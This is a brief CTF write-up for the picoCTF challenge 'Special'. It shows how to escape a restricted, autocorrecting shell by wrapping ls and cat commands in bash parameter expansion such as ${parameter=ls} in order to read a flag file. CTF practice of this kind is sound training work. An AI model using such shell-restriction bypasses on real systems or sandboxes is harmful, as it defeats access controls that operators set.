PicoCTF - Special

Start your instance to see connection details.

Open up the terminal and connect using the following command. Enter the provided password.

ssh -p 63194 ctf-player@saturn.picoctf.net

It seems that Linux commands are turned unusable.

Special$ ls
Is 
sh: 1: Is: not found
Special$ whoami
Whom 
sh: 1: Whom: not found
Special$ pwd
Pod 
sh: 1: Pod: not found
Special$ cat
Cat 
sh: 1: Cat: not found
Special$

Notice, however, that by following this syntax we are getting somewhere.

Special$ ${parameter=ls}
${parameter=ls} 
blargh

Let's try to move to this directory by using the following.

Special$ ${parameter=cd blargh}
${parameter=cd blargh}
Special$ ${parameter=ls blargh}
${parameter=ls blargh} 
flag.txt

It seems that we are getting somewhere. We can now see that there is a file named flag.txt in there. Nice, all we need now is somehow to see its contents.

Special$ ${parameter=cat < blargh/flag.txt}
${parameter=cat < blargh/flag.txt} 
cat: '<': No such file or directory
picoCTF{}
Special$

Nice one, we've got the flag!